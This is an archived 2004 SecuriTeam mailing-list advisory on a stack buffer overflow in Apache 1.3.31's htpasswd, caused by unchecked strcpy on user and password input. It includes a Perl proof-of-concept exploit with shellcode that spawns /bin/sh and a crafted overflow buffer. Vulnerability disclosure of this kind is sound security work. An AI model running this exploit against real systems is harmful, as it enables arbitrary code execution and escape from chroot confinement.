

[UNIX] Apache htpasswd Local Stack Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-09/0048.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/19/04

To: list@securiteam.com

Date: 19 Sep 2004 17:00:12 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Apache htpasswd Local Stack Overflow

SUMMARY

Apache has "been the most popular web server on the Internet since April of 1996". One of Apache's components is htpasswd which is used to create and update user authentication files. A buffer overflow vulnerability in the htpasswd allows local attackers and anyone else that is able to invoke it from a remote location to cause it to execute arbitrary code.

DETAILS

Vulnerable Systems:

* Apache version 1.3.31 and prior

In `apache/src/support/htpasswd.c` were found lots of problems with `strcpy`. Unchecked buffers with user and passwd variables may let an attacker to take advantage of it.

Impact:

htpasswd is not setuid root by default. And it doesn't have any sense to do it yourself. So you can't gain root by exploiting these bugs directly.

However, you can get out from apache's chroot environment since htpasswd usually stays in its environment.

Securiteam: [UNIX] Apache htpasswd Local Stack Overflow

Proof of Concept:

```
#!/usr/bin/perl
# Proof Of Concept exploit for htpasswd of Apache.
# Read the advisory for more information.
# – Luiz Fernando Camargo
# – foxtrot@flowsecurity.org
$shellcode =
"\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

$target = "/usr/local/apache/bin/htpasswd";
$retaddr = 0xbffffffa – length($shellcode) – length($target);

print "using retaddr = 0x", sprintf('%lx',($retaddr)), "\r\n";

local($ENV{'XXX'}) = $shellcode;
$newret = pack('l', $retaddr);
$buffer = "A" x 272;
$buffer .= $newret x 4;
$buffer .= " ";
$buffer .= "B" x 290;

exec("$target –nb $buffer");
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:luiz.fc@gmail.com> Luiz Fernando.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.